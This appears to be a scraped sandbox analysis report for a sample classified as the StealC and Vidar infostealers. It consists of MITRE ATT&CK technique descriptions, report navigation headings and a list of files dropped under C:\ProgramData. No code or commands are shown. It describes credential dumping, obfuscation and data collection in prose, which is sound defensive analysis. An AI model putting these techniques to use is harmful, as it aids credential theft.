Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDGIEH

C:\ProgramData\BKJKEBGDHDAFHJKEGIID

C:\ProgramData\CFBAKKJD

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

C:\ProgramData\JEGHJDGIJECGDHJJECGH

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre